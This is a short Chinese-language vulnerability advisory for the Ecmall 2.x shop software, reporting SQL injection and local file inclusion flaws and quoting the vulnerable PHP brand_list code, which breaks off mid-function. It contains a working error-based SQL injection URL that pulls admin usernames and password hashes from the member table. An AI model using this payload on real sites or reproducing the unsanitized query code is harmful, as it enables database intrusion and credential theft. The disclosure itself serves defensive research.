Ecmall 2.x 多处安全漏洞汇总

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 简要描述: 一处通杀注入,同文件多处鸡肋注入,一处本地包含。累了不看了,体力活。。。 ### 详细说明: 通杀注入:http://localhost/ecmall/index.php?app=my_goods&act=brand_list&order=asc&sort=1 and (select user_name from ecm_member where user_id=1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b)%23 app/my_goods.app.php ``` function brand_list() { $_GET['store_id'] = $this->_store_id; $_GET['if_show'] = BRAND_PASSED; $con = array( array( 'field' => 'store_id', 'name' => 'store_id', 'equal' => '=', ), array( 'field' => 'if_show', 'name' => 'if_show', 'equal' => '=', 'assoc' => 'or', ),); $filtered = ''; if (!empty($_GET['brand_name']) || !empty($_GET['store'])) { $_GET['brand_name'] && $filtered = " AND brand_name LIKE '%{$_GET['brand_name']}%'"; $_GET['store'] && $filtered = $filtered . " AND store_id = " . $this->_store_id; } if (isset($_GET['sort']) && isset($_GET['order'])) { $sort =...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息